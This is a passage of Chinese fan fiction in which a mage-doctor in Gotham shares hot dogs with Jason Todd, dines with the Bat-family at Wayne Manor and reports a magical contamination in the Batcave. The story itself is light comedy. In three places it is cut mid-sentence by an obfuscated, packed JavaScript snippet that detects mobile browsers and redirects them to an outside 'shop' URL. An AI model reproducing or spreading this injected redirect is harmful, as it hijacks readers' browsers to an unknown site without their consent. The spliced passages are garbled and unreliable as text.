杰森带他穿过两条街,最后停在一家门脸挺漂亮的店门口。彩灯闪烁,门口站着个穿西装的服务生,红白格子桌布从窗户里透出来,隐约还能听见意大利歌剧。 杰森指着招牌:“这家,评价不错。” 卡伦看了看店面,又看了看杰森:“你来过?” 杰森:“没来过。但网上评分4.8。” 卡伦:“你看的是哪个网?” 杰森想了想:“忘了。反正分挺高。” 服务生看见他们俩,眼睛在杰森那头白毛上停了一秒,然后露出职业化的笑容:“两位里面请。” 他们坐下,菜单递上来。 卡伦翻开第一页。 沉默了三秒。 他合上菜单,又翻开,确认自己没看错。 然后抬头看向杰森。 杰森正在研究墙上的威尼斯面具,假装没感受到他的目光。 卡伦把菜单往他那边推了推:“你确定这是4.8分?” 杰森低头看了一眼。 一份意面,标价45刀。 一杯柠檬水,8刀。 最便宜的是一份蒜香面包,15刀。 杰森沉默了两秒,然后耸了耸肩。 “我又没来过。” 卡伦盯着他。 杰森摊手:“评分高又不代表便宜,你这个人怎么这么肤浅。” 卡伦:“……我开业七天,一共赚了97刀。你让我花45刀吃一盘面?” 杰森想了想:“那你吃蒜香面包?” 卡伦站起来,往外走。 杰森跟在后面,一边走一边笑:“哎,不至于吧?我请客还不行吗?” 卡伦头都没回:“你上周借我的二十块还没还。话说你也算个□□头子吧,真的缺那20块吗。。” 服务生看着他们俩的背影,脸上的笑容僵在原地。 --- 4 五分钟后,他们站在街角一个推车前。 摊主是个老头,围着脏兮兮的围裙,正用夹子翻着一排滋滋冒油的香肠。热气升腾起来,混着洋葱和辣椒的香味,钻进鼻子里。 卡伦站定,深吸一口气。 这才是他认识的物价。 杰森冲摊主点了点头,然后转向卡伦:“几个?” 卡伦想了想:“两个。” 杰森伸出两根手指。 老头点点头,开始往面包里塞香肠、加洋葱、淋酱汁。动作娴熟,一看就是干了几十年的。 卡伦接过第一个热狗,咬了一口。 烫。 但香。 面包烤得外脆内软,香肠爆汁,洋葱带着甜味,酱汁有点辣,辣完还想再来一口。 他嚼着热狗,看着街上来来往往的人,突然想起一个问题。 “你经常来这儿?” 杰森正咬着热狗,含混不清地回:“嗯。” “那个老头认识你?” “嗯。” “他知道你是红头罩吗?” 杰森咽下去,看了他一眼:“知道。” 卡伦愣了一下。 杰森耸耸肩:“这条街上的人都认识我。不是认识‘红头罩’,是认识‘那小子’。我十几岁就在这儿混,老头看着我长大的。” 卡伦低头又咬了一口热狗。 他想起开业那天,杰森被果冻墙挡在外面,后来查了两天才找到进门的方法。他想起杰森这七天每天“路过”的频率——一天至少两次,上午一次下午一次,有时候晚上还来一趟“看看你关门没有”。 他想起杰森昨天顺手修好了诊所那把坏了的椅子,前天把来收保护费的两个混混扔了出去,大前天…… 卡伦嚼着热狗,心想:所以这就是“那小子”长大的地方。 挺好。 --- 5 他们正吃着,街角转过来一个人。 蓝黑色制服,外面套了件夹克,手里拎着头盔,正一边走一边打电话。 “——我知道了布鲁斯,我明天就回去——不是,我今天真有事——行行行,我保证——” 他挂了电话,一抬头,正好和杰森对上视线。 三个人都愣住了。 杰森嘴里的热狗停在半空。 卡伦看看杰森,看看那个蓝黑色的人,心想:这人怎么笑得这么灿烂?哥谭还有这种人? 迪克先反应过来,手机往兜里一揣,脸上露出一个更灿烂的笑容。 “小翅膀!这么巧!” 杰森把热狗咽下去,面无表情:“别叫我小翅膀。” 迪克已经走过来了,一边走一边打量卡伦,眼睛亮得像发现新大陆。 “哟,这是谁?你朋友?” 杰森:“不是。” 迪克看向卡伦,伸出手:“迪克·格雷森。你是?” 卡伦握住他的手,感觉了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444101|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下——正常人,但骨架硬朗,练过。 “卡伦。开诊所的。” 迪克愣了一下,然后眼睛更亮了:“哦——你就是那个新来的医生!我听说了!” 卡伦看向杰森。 杰森看天。 卡伦:“你听谁说的?” 迪克笑:“布鲁斯说的。他说扎塔娜那边有个人在犯罪巷开了诊所,魔法师,挺安分。达米安回来说你那儿魔法阵布得还行,就是不够复杂,他改天要去给你优化一下。” 卡伦沉默了两秒。 所以他的诊所,已经被蝙蝠家开过会了?还有优化意见? 迪克好像没注意到他的表情,继续热情洋溢:“杰森老往你那儿跑是吧?我听提姆说了,他说查案子的时候看见你俩在街上走,还说你那个诊所门口有个看不见的墙,他试了一下进不去——” 杰森终于开口打断:“你今天话怎么这么多?” 迪克无辜地眨眨眼:“我碰到我弟弟的朋友,关心一下不行吗?” 杰森:“他不是我朋友。” 迪克看向卡伦:“他说你不是他朋友。” 卡伦咬了一口热狗,嚼着说:“嗯,不是。” 迪克看看杰森,看看卡伦,看看他俩手里一模一样的热狗,看看他们并排站在推车前的位置,脸上的笑容更深了。 “行,不是朋友。”他说,语气里全是“你猜我信不信”。 杰森翻了个白眼。 卡伦假装没看见。 迪克突然想起什么,一拍手:“对了小翅膀,这周末回庄园吗?” 杰森皱眉:“干嘛?” 迪克:“布鲁斯说这周末大家都有空,想一起吃个饭。阿福做了小甜饼,提姆说想吃,达米安嘴上说不稀罕但肯定会来,你要是没事就回来呗。” 杰森沉默了一下。 卡伦在旁边咬着热狗,耳朵竖着,但表情纹丝不动。 迪克好像这才想起卡伦还在旁边,转头看他,眼睛又亮了:“卡伦是吧?你也来吧!” 卡伦愣了一下。 “我?” “对呀!”迪克笑得特别真诚,“阿福的小甜饼可好吃了,全哥谭找不出第二家。你来尝尝,顺便认认门——以后万一有事找杰森,直接去庄园就行。” 杰森在旁边开口:“他来干嘛?” 迪克看他:“你朋友来吃顿饭不行?” 杰森:“他不是我朋友。” 迪克:“行,那就不是朋友来吃顿饭。” 杰森:“……” 杰森在旁边沉默了几秒,突然开口:“他周末要开店。” 迪克:“诊所晚上又不开门。” 杰森:“……” 卡伦想了想,说:“周末晚上应该没事。” 迪克笑容更灿烂了:“那就说定了!周六晚上六点,韦恩庄园,我让阿福多烤一炉!” 杰森张了张嘴,想说什么,但最后只是翻了个白眼,低头咬了一大口热狗。 卡伦看着他那副“懒得理你们”的表情,又看了看迪克那张热情洋溢的脸,心想: 所以这就是蝙蝠家的“家庭聚会”? 好像,还挺有意思的。 --- 6 迪克又聊了几句,无非是“杰森你最近有没有好好吃饭”“卡伦你诊所缺不缺设备”“小翅膀你别老躲着大家”——然后骑上摩托走了,临走还冲他们挥了挥手。 杰森站在原地,看着那辆摩托消失在街角,然后转向卡伦。 “你真要去?” 卡伦想了想:“你不想我去?” 杰森沉默了一下,然后说:“……无所谓。你想去就去。” 卡伦点点头:“那就去。” 杰森没再说什么,低头继续吃他的热狗。 过了一会儿,卡伦突然问:“那个小甜饼,真的那么好吃?” 杰森看了他一眼,嘴角动了一下,像是在憋笑。 “……还行。” 卡伦看着他那副表情,心想:这个“还行”,翻译过来大概是“超级好吃但我不想承认”。 他咬了一口热狗,看着夜色里的哥谭。 街灯昏黄,远处有警笛声,近处是热狗摊的油烟和香味。杰森站在旁边,头发在灯光下泛着白,吃热狗的姿势和路边任何一个普通年轻人没什么区别。 卡伦突然想起一个问题。 “那个意大利餐厅的评分,你是在哪个网上看的?” 杰森嚼热狗的动作顿了一下。 “……忘了。” 卡伦盯着他。 杰森咽下去,面无表情:“反正分挺高。” 卡伦:“你看的是不是刷单网站?” 杰森:“怎么可能,我那么精明的人。” 卡伦想了想这七天杰森的表现——每天“路过”两次,偷吃他零食,躺他的椅子,修他的椅子(这个算加分),把他诊所当第二个家—— 他没说话,低头继续吃热狗。 杰森在旁边沉默了一会儿,突然开口:“那个钱,下周还你。” 卡伦:“哪个钱?” 杰森:“借你那二十。” 卡伦:“哦。” 杰森:“加利息。” 卡伦抬头看他。 杰森看天:“……看什么看,吃你的热狗。” 卡伦低头继续吃,嘴角动了一下。 可能是热狗太烫了。 5. 第五章 【幕间:卡伦的炼金术小记】 在去庄园之前,有个细节值得说一下。 卡伦的眼睛不是天生的。至少不完全是。 在魔法世界那十几年,他整天对着各种古籍和炼金配方,光线差,字又小,慢慢就近视了。魔法能治很多病,但近视这种小问题——用师傅的话说——“你自己想办法”。 于是他自己想了办法。 炼金术。不是魔法,是另一种东西。提纯、转化、重构。他把自己的眼睛当成一个炼金项目,花了三个月时间,调配出一种可以微调晶状体的药剂。 效果超出预期。 不仅近视没了,虹膜的颜色也变了——变成了那种融化的黄金般的颜色,但细看又带着金属的冷感,像是一枚被火焰烧软的硬币,还没来得及冷却就被嵌进了眼眶。 杰森第一次凑近看的时候,愣了两秒,然后说:“你这眼睛……挺唬人。” 卡伦:“谢谢。” 杰森:“不是夸你。” 卡伦:“我知道。” 后来杰森又补了一句:“不过适合哥谭。看着就不好惹。” 卡伦觉得他说得对。 --- 1 卡伦站在庄园门口,盯着那扇门看了三秒。 不是紧张。 是在数这扇门后面可能藏着多少双眼睛。 杰森在旁边,双手插兜,表情写满“我其实不想来但来都来了”。 “进去啊,”他说,“站这儿干嘛,喂蚊子?” 卡伦:“哥谭有蚊子吗?” 杰森想了想:“有。都变异了,咬人挺疼。” 卡伦点点头,推门进去。 门后面没有蚊子。但有一个管家。 一个头发花白、脊背挺直、穿着三件套的老人家站在门厅里,看见他们进来,脸上露出一个恰到好处的微笑。 “杰森少爷,您来了。” 杰森少爷。 卡伦看了杰森一眼。 杰森面无表情,表情有点僵硬。 没关系,卡伦挑了下眉,他知道杰森的daddy issue让他不好意思了。 邪恶微笑.jpg “欢迎,卡伦先生,”管家转向他,微微颔首,“祝您度过美好的一夜。” 卡伦点点头:“卡伦。叫我卡伦就行。” 阿尔弗雷德的笑容深了一点点:“好的,卡伦先生。请进,晚餐已经准备好了。” 他们往里走,穿过门厅,穿过走廊,穿过一扇又一扇门。卡伦一边走一边默默在心里画地图——也是习惯了,毕竟之前那个大陆其实还挺像游戏的,特别是污染降临后,其妙的就会走到迷宫里去。 然后他们听见了声音。 是从餐厅方向传来的。 一个年轻的声音,带着毫不掩饰的嫌弃:“你为什么坐在我旁边?” 另一个年轻的声音,更冷静,但带着同样的嫌弃:“因为我先来的。” “你先来的就可以占我的位置?” “这是餐厅,不是你的卧室,没有‘你的位置’。” “你——!” 一个成年女性的声音插进来,带着点无奈:“提姆,达米安,能不能消停五分钟?就五分钟?” 另一个成年女性的声音,更温柔一点:“让他们吵吧,反正也吵不出结果。” 卡伦看向杰森。 杰森:“欢迎来到韦恩庄园。” --- 2 餐厅里有一张长桌,桌上摆满了食物,但没人看食物。 所有人的目光都集中在桌子两端的两个人身上。 一个深色头发的年轻人——提姆,卡伦认出他,前几天在街上偶遇过——正端着一杯咖啡,表情平静,但眼神里写着“你奈我何”。 另一个更小的——达米安,卡伦也认出来了,开业第一天跟着蝙蝠侠来视察的那个——正双手抱胸,下巴抬得能戳死人,眼神里写着“你给我等着”。 桌子的另一端,坐着一个黑发的年轻女性,脸上带着淡淡的笑意,正饶有兴致地看着这场对峙。她旁边是一个红发女性,坐在轮椅上,表情是那种“我已经习惯了”的无奈。 然后门开了。 所有人转头,看向门口。 杰森站在那儿,手还插在兜里,表情是“我只是路过”。 卡伦站在他旁边,心想:现在跑还来得及吗? 迪克的声音从某个角落传来:“哟!小翅膀来了!还有卡伦!来来来坐!” 他从椅子上弹起来,走过来,一手揽一个,把他们往桌子旁边带。 “这是提姆,你见过的——这是达米安,你也见过的——这是卡姗,刚从外面回来——这是芭芭拉,戈登局长的女儿,也是我们家的一员——” 卡伦被按在一把椅子上,对面是达米安审视的目光,旁边是杰森“你自己保重”的表情。 迪克坐回自己的位置,满意地拍了拍手:“好了,人齐了,开饭!” 阿尔弗雷德不知从哪儿冒出来,开始给大家分菜。 沉默持续了大约三秒。 然后达米安开口了。 “你的眼睛是怎么回事?” 所有人都看向卡伦。 卡伦眨了眨眼,那双金色的眼睛在灯光下反射出金属般的光泽。 “……近视。”他说。 达米安皱眉:“近视能让眼睛变成金属?” 卡伦想了想,用他能想到的最简单的说法解释:“我自己调的。” 提姆放下咖啡杯:“你给自己做眼睛手术?” 卡伦:“不是手术。是炼金术。” 餐桌上安静了一秒。 芭芭拉挑眉:“炼金术?不是魔法?” 卡伦点头:“不太一样。魔法是借力,炼金术是转化。一个靠天赋,一个靠配方。” 卡姗第一次开口,声音很轻:“那你的眼睛,是什么配方?” 卡伦想了想,决定说实话:“记不清了。试了很多次,最后一次成功了,就没再记。” 达米安盯着他,眼神复杂,像是在评估这话的真假。 杰森在旁边开口了:“吃你的饭,看什么看。” 达米安瞪他:“我问问题关你什么事?” 杰森:“他是我带来的,关我的事。” 迪克在旁边笑出声。 卡伦低头吃饭,假装没听见。 --- 3 主菜过后,阿尔弗雷德端上来一盘小甜饼。 金黄色的,烤得恰到好处,香气飘过来的时候,连正在和提姆眼神厮杀的达米安都忍不住多看了一眼。 说实话,在他之前那个世界,如果这种东西出现的话,是真的会发出金光的,代表它是传奇品质的物品。 《所有蝙蝠和小鸟都抵挡不住的食物》 阿尔弗雷德把盘子放在桌子中央,微笑着说:“请慢用。” 话音刚落,两只手同时伸向盘子。 提姆和达米安的手在半空中相遇,然后同时停住。 提姆:“我先。” 达米安:“我先。” 提姆:“我离得近。” 达米安:“我年纪小。” 提姆:“你什么时候在意过年纪?” 达米安:“现在。” 芭芭拉叹了口气,伸手拿了一个,无视了旁边两个人的对峙。 卡姗也拿了一个,慢慢咬了一口,脸上露出满足的表情。 杰森伸手,直接从两人中间穿过去,拿了两个。一个自己咬,一个扔给卡伦。 提姆:“……你干嘛?” 杰森嚼着饼干:“吃啊,不然干嘛?” 达米安瞪他:“那是我的!” 杰森低头看了看手里剩下的半个:“你的?写你名字了?” 达米安气得脸都红了。 迪克在旁边笑得直拍桌子。 卡伦咬了一口小甜饼。 外酥里软,甜度刚好,有一股淡淡的蜂蜜香。 他想起杰森说的“还行”。 翻译过来果然是“超级好吃”。 阿尔弗雷德不知什么时候站到了他旁边,低声问:“卡伦先生,味道如何?” 卡伦抬头,看着这位管家温和的笑容,点了点头。 “很好吃。” 阿尔弗雷德的笑容深了一点:“那就好。杰森少爷小时候最喜欢这个,每次回来都要我烤。” 卡伦看了一眼杰森。 杰森正咬着饼干,假装没听见。 卡伦低头又咬了一口。 --- 4 吃完甜点,大家转移到客厅。 卡伦坐在沙发上,旁边是杰森,对面是迪克和卡姗,角落里有芭芭拉在看书,远处有提姆在摆弄他的平板,更远处有达米安在擦他的刀。 是的,擦刀。 就在客厅里。 卡伦:不要骗医生啊,你刀上的那块颜色绝对是血吧!是吧! 阿尔弗雷德路过的时候看了一眼,什么也没说,只是给达米安递了块布。 卡伦觉得这个家确实有点东西。 迪克突然想起什么:“对了小翅膀,你今天下午在犯罪巷那边?” 杰森头都没抬:“干嘛?” 迪克笑:“我路过看见你们俩在热狗摊那儿,本来想打招呼的,但你们吃得太认真了,没好意思打断。” 杰森动作顿了一下。 卡伦也顿了一下。 所以迪克是在热狗摊“偶遇”了他们两次? 杰森沉默了两秒,然后说:“你跟踪我们?” 迪克瞪大眼睛:“怎么能叫跟踪?我是路过!路过!” 芭芭拉从书后面抬起头:“他确实经常路过。整个哥谭都是他的‘路过’范围。” 卡姗轻轻笑了一声。 达米安放下刀,突然开口:“那个热狗摊我知道。不好吃。” 杰森看向他:“你吃过?” 达米安:“没有。但一看就不好吃。” 杰森:“那你凭什么说?” 达米安:“凭我聪明。” 提姆从平板上抬起头:“聪明不是用来判断热狗好不好吃的。” 达米安瞪他:“我没跟你说话。” 提姆:“但你说话的声音我听得见。” 达米安:“那你把耳朵堵上。” 提姆:“那你把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444102|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴闭上。” 迪克在旁边又开始笑。 卡伦看着这一幕,心想:所以这就是蝙蝠家的日常。 杰森在旁边小声说:“习惯就好。” 卡伦点点头,继续喝他的茶。 过了一会儿,迪克站起来,拍了拍手。 “好了,时间差不多了。该换衣服了。” 迪克看向卡伦:“你今晚有安排吗?” 卡伦想了想:“回去睡觉。” 迪克笑了:“那你早点睡。我们出去溜达一圈。” 杰森站起来,路过卡伦的时候,随手拍了拍他的肩膀。 “明天见,伦。” 卡伦点点头。 他看着这群人陆续离开客厅,换上各自的装备,从一扇隐蔽的门鱼贯而出。 最后一个是阿尔弗雷德,他站在门口,对卡伦微微颔首。 “需要我安排车送您回去吗,卡伦先生?” 卡伦站起来,摇摇头:“不用。我自己走。” 阿尔弗雷德点点头:“那您路上小心。欢迎下次再来。” 卡伦走出庄园,站在夜色里,看着远处哥谭的天际线。 夜风吹过来,带着一点凉意。 他想起刚才餐桌上那些斗嘴,想起杰森拍他肩膀时的手劲,想起小甜饼的味道。 然后他迈步,往诊所的方向走。 今晚的哥谭,好像没那么吵。 --- 5 卡伦回到诊所,洗漱,躺下。 闭眼。 睡不着。 不是因为换了床——他在魔法世界睡过更差的地方。 是一种……感觉。 他睁开眼,盯着天花板。 那种感觉还在。很淡,但确实存在。像是有人在远处轻轻敲了一下门,声音太轻,听不清,但你知道那不是风。 他坐起来。 灵魂感知是一种很难解释的东西。不是看,不是听,是一种“知道”。知道远处有什么东西在动,知道那东西不属于这个世界。 卡伦皱眉。 不可能。那个世界被污染了,但他离开的时候确认过,没有东西跟着他。 但那种感觉越来越清晰。 他叹了口气,下床,穿衣服。 出门之前,他看了一眼墙上的钟。 凌晨两点。 哥谭最安静的时候——也是最不安静的时候。 他推开门,走进夜色。 --- 6 卡伦顺着感觉走。 穿过两条街,绕过三个巷子,最后停在一个废弃仓库的阴影里。 他不需要探头去看。他能感觉到——就在前面那条街上,有几个人正在移动。灵魂的颜色他太熟悉了——红的、黑的、蓝的、还有一团亮得刺眼的白。 蝙蝠家。 卡伦站在阴影里,看着那群人从街角掠过。迪克打头,杰森殿后,中间是芭芭拉和卡姗,提姆在屋顶上,达米安在另一侧的阴影里。 他们没看见他。 他也没打算打招呼。 但就在他准备转身离开的时候,杰森突然停了一下,朝他的方向看了一眼。 隔着一条街,夜色很黑,但卡伦知道杰森看见他了。 杰森的嘴型动了一下:“有事?” 卡伦摇了摇头。 杰森盯着他看了两秒,然后点了点头,转身继续往前。 卡伦看着他们的背影消失在街角,然后继续往另一个方向走。 他今晚不是来夜巡的。他是来查那个“感觉”的。 那东西不在蝙蝠家的方向。 在另一边。 --- 7 卡伦顺着感觉越走越偏。 街灯越来越少,建筑越来越破,空气里开始弥漫着一股潮湿的霉味——还有更深处的一点点血腥味。 他停在一个仓库区门口。 招牌上写着:冰山仓库。 卡伦心想:哦,企鹅人。 哥谭的几个大地头蛇之一。经营赌场、走私、黑市交易,表面上是商人,实际上什么赚钱做什么。 他的地盘在港口附近,垄断了哥谭的大部分地下物流。 而那丝“不对劲”的感觉,就是从这里面传出来的。 卡伦站在阴影里,盯着那排仓库,感知往里探。 有什么东西在里面。不大,但确实存在。是那个世界的味道——那种被污染后才有的扭曲感。 它怎么会在这儿? 是跟着他来的?还是……偶然? 卡伦站了五分钟,看着仓库门口的守卫换了一班岗。 然后他转身,离开了。 不是不管。 是现在不是时候。 他需要先确认这东西到底是怎么来的,有多大,有没有扩散。贸然进去只会打草惊蛇。 而且—— 他看了一眼远处的天际线,那边隐约能看见蝙蝠信号在云层上晃动。 而且哥谭已经有夜巡的人了。 不要逼医生做这种事啊,魔法师的工作明明已经退休了才对! 好了,OK, 他明天一定会给蝙蝠侠打小报告的。 6. 第六章 1 卡伦早上七点就醒了。 在魔法世界那十几年养成的习惯——有事就早点处理,拖着拖着可能就拖出人命。 他洗漱完,站在镜子前看了看自己。 黑发金眸,金色挑染在晨光里有点晃眼。眼睛下方干干净净的,什么都没——很好,说明昨晚那点污染波动还没到需要他认真对待的程度。 他的能力有个开关。平时不用的时候,他就是个普通得不能再普通的诊所医生。但如果真的大规模动用—— 左眼下方会出现一个倒三角的图案,像某种古老的符文,边缘会泛出那种融化黄金般的黄光。 挺酷的。但也挺显眼的。 所以一般不用。 他推开门,走了两步,又退回来。 拿起手机。 迪克给的那个蝙蝠家专用频道手机,他还没用过。屏幕上显示着几个快捷键:1是蝙蝠侠,2是提姆,3是迪克,4是芭芭拉,5是—— 他按了1。 嘟。嘟。嘟。 没人接。 卡伦看着手机,心想:所以这个“专用频道”,是没人接专用的? 他又按了3。 嘟——接通了。 迪克的声音传来,带着点没睡醒的沙哑:“喂?卡伦?出什么事了?” 卡伦:“没出事。有事要报备。我在诊所,能过去一趟吗?” “站着别动,二十分钟左右有人接你。” 二十分钟。 卡伦看了看四周。犯罪巷的早晨比他想象的要安静。几个早起的摊贩在摆摊,卖的是蔬菜、水果、还有一些包装破损的罐头。一个老太太牵着狗路过,狗冲他叫了两声,老太太把狗拽走了。 他决定在附近随便逛逛。 走到第一个街角,他停下来。 前面是个小小的街心公园——如果几棵歪脖子树和一张缺了腿的长椅能叫公园的话。长椅上躺着一个流浪汉,裹着脏兮兮的毯子,睡得很沉。 卡伦站了两秒。 不是看流浪汉。是看长椅旁边的墙。 墙上有一片新涂的涂鸦——红色的,画得很潦草,像一只鸟,又像一团火。 他盯着那片涂鸦看了几秒,嘴角动了动。 然后继续往前走。 走到第二个街角,他停在一家店门口。 门关着,招牌上写着“老王修车厂”。门口蹲着一只黑猫,正在舔爪子。黑猫抬头看了他一眼,又低头继续舔。 卡伦想了想杰森说的话——“那个修车厂,别惹老王,他儿子在蝙蝠洞打工。” 他看了看那只黑猫,黑猫也看了看他。 卡伦:“你是老王?” 黑猫没理他。 卡伦点点头,继续往前走。 走到第三个街角,他停下来了。 不是因为有什么特别的。是因为他感觉到了一道视线。 他转头。 街对面,一个戴着兜帽的人正在买热狗。那人背对着他,但卡伦能感觉到——那道视线就是从那个方向来的。 他站了两秒。 那个人买完热狗,转身走了。背影消失在巷子里。 卡伦看着那个方向,心想:蝙蝠家的?还是别的什么人? 算了。不重要。 他转身往回走。 走到诊所门口的时候,一辆黑色的车正好停在他面前。 车窗摇下来,露出一张他认识的脸。 阿尔弗雷德。 “早上好,卡伦先生。请上车。” 卡伦看了一眼手机。正好二十分钟。 他上车。 --- 2 车开得很稳,阿尔弗雷德开车的姿势很优雅,像是开了几十年。 卡伦坐在后座,看着窗外掠过的街景。 沉默了一会儿,阿尔弗雷德开口了:“迪克少爷说您有事要找布鲁斯少爷。” 卡伦点头:“昨晚有点发现,需要报备。” 阿尔弗雷德从后视镜里看了他一眼,微微一笑:“您这两年帮过布鲁斯少爷几次,他提起过您的魔法实力很不错。” 卡伦愣了一下。 谁夸他?蝙蝠侠? 那是挺击碎刻板印象了。 阿尔弗雷德的笑意深了一点:“当然,原话可能没那么……温和。但意思是一样的。” 卡伦想了想蝙蝠侠说话的风格,觉得确实不太可能有“温和”的版本。 他想起之前那几次合作——扎塔娜牵线,蝙蝠侠有事找他帮忙,他办完就走,全程对话不超过十句。从来没想过蝙蝠侠会“提起”他。 阿尔弗雷德继续说:“杰森少爷昨晚给您发消息了吗?” 卡伦摇头:“没有。” 阿尔弗雷德点点头,没再说什么。 但卡伦注意到,他说的是“杰森少爷”,不是“杰森”。 卡伦想了想,问:“杰森小时候,是您送他上学的?” 阿尔弗雷德的笑意又深了一点:“是的。虽然他自己不太愿意承认。” 卡伦:“他那时候几岁?” 阿尔弗雷德:“十二岁左右。刚来韦恩家不久。” 卡伦沉默了两秒。 十二岁。刚来韦恩家。 然后过了三年,他就死在了埃塞俄比亚。 啊,小丑。 卡伦觉得自己还算是个善良的人。 嘶,小丑。 杀了他=为民除害=善良的举措。 卡伦点点头,他果然是一个善良的人。 阿尔弗雷德好像知道他在想什么,但显然没有完全知道,语气温和地补了一句:“杰森少爷现在很好。比以前更好。” 卡伦点点头。 车继续往前开。 --- 3 车停在韦恩庄园门口,阿尔弗雷德带他穿过房子,走进一个隐藏的电梯。 电梯往下走。 走了很久。 卡伦心想:这个洞到底有多深? 电梯门打开。 卡伦第二次走进蝙蝠洞。 巨大的显示屏亮着,上面滚动着各种数据。巨大的恐龙模型还在。巨大的硬币还在。还有一个巨大的——那是咖啡机? 有个人站在咖啡机旁边,正在往杯子里倒咖啡。 不是蝙蝠侠。 是布鲁斯·韦恩。 穿着睡袍的那种。 卡伦站住了。 布鲁斯端着咖啡杯转身,看见他,表情没什么变化。 “来了。” 卡伦看着他,又看了看周围——巨大的显示屏,巨大的恐龙,巨大的硬币,还有一个穿着睡袍喝咖啡的亿万富翁。 虽然也不是第一次看了,但他每次来都会觉得蝙蝠侠像是把自己的洞穴装成了一个展厅。 布鲁斯好像没注意到他的心理活动,端着咖啡走到显示屏前,坐下。 “昨晚那个污染。” 卡伦走过去,站在他旁边。 “你知道了?” 布鲁斯:“杰森凌晨四点给我发的消息。” 卡伦沉默了两秒。 杰森。凌晨四点。发消息。 所以那家伙昨晚回去之后根本没睡? 布鲁斯喝了一口咖啡,看着他:“发现了什么?” 卡伦把昨晚的感觉说了一遍——那个被污染的魔法世界,残留的味道,企鹅人仓库里的不对劲。 布鲁斯听完,点点头。 “不严重?” 卡伦:“不严重。很小的一丝。但确实存在。” 布鲁斯放下杯子,转向旁边。 卡伦这才发现,提姆不知道什么时候已经坐在电脑前了,手指在键盘上飞快敲着。 “查冰山仓库最近一周的进出记录。”布鲁斯说。 提姆点头:“已经在查了。目前看起来正常,但有几批货的来源不太清晰。” 布鲁斯:“继续查。” 提姆继续敲键盘。 布鲁斯转回来看卡伦:“能追踪吗?” 卡伦:“能。但需要它再出现。现在它藏起来了。” 布鲁斯点点头。 然后他伸手,从睡袍口袋里掏出一个东西,递给卡伦。 卡伦低头一看——一个巴掌大的小仪器,上面有个屏幕,几个按钮。 布鲁斯:“能量探测器。改造过的,能感知到魔法和炼金术的波动。” 卡伦接过来,看了看:“给我的?” 布鲁斯:“借的。用完还。” 卡伦把仪器揣进口袋。 那一时半会他是用不完了。 临走的时候,迪克从某个角落冒出来,手里拿着个东西。 “哎等等,这个也带上。” 卡伦低头一看——又是一个手机。 卡伦抬头看他:“我已经有一个了。” 迪克笑:“那个是公用的。这个是私用的。存了我和杰森的号,还有芭芭拉的。有事直接打,不用经过蝙蝠洞中转。” 卡伦看着那个手机,心想:蝙蝠家的通讯系统到底有几层? 但他还是接了过来。 迪克拍拍他的肩膀:“阿尔弗雷德在外面等你,送你回去。” 卡伦点点头,往外走。 走了两步,又回头。 布鲁斯还坐在显示屏前,穿着睡袍,端着咖啡。 卡伦想了想,说:“咖啡不错?” 布鲁斯抬头看他。 卡伦:“随便问问。” 然后他走了。 --- 4 污染没有再出现。 卡伦每天用感知扫一遍哥谭,什么都没扫到。那个能量探测器他随身带着,一次也没响过。 提姆那边也没查出什么——冰山仓库的进出记录查完了,那几批“来源不清晰”的货最后都找到了源头,是企鹅人从东欧走私的普通货物,跟魔法没关系。 布鲁斯让人传话:“继续观察。” 卡伦回话:“好。” 然后日子就正常了。 --- 5 杰森推门进来的时候,卡伦正在收拾药柜。 头都没回:“今天没病人,零食柜在左边。” 杰森走过去,打开零食柜,沉默了。 卡伦回头看了一眼。 杰森站在柜子前,手里拿着一个空袋子,表情微妙。 杰森:“……薯片呢?” 卡伦:“吃完了。” 杰森:“谁吃的?” 卡伦:“我。” 杰森盯着他。 卡伦面无表情:“我买的。” 杰森把空袋子扔进垃圾桶,往椅子上一坐,脚往小茶几上一搭。 “吃饭。” 卡伦看了一眼墙上的钟。六点半。 “现在?” 杰森:“不然呢?半夜?” 卡伦想了想,今天确实没什么事。 “行。吃什么?” 杰森站起来,往外走:“到了你就知道了。” --- 6 杰森带他去了一家开在地下室的小馆子。 门脸很小,招牌上只有一个字:面。 推门进去,里面热气腾腾,坐满了人。有穿工装的,有穿西装的,还有几个脸上有疤的,但都在埋头吃面,谁也不看谁。 杰森找了个角落的位置坐下,冲柜台里的老板比了个手势。 老板点点头,没说话,开始煮面。 卡伦坐下,打量周围。 “你怎么知道这些地方的?” 杰森:“犯罪巷长大的,什么不知道?” 卡伦点点头。 两碗面端上来。汤是酱色的,面上铺着厚厚一层肉,还有半颗卤蛋。 卡伦吃了一口。 烫。但香。肉炖得软烂,面条筋道,汤有一股很深的酱香。 他埋头吃着,突然想起一个问题。 “昨天那袋薯片,是你买的?” 杰森动作顿了一下。 卡伦看着他。 杰森咽下去,面无表情:“不知道你在说什么。” 卡伦:“柜子里那袋,包装不一样。我之前买的不是那个牌子。” 杰森沉默了两秒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 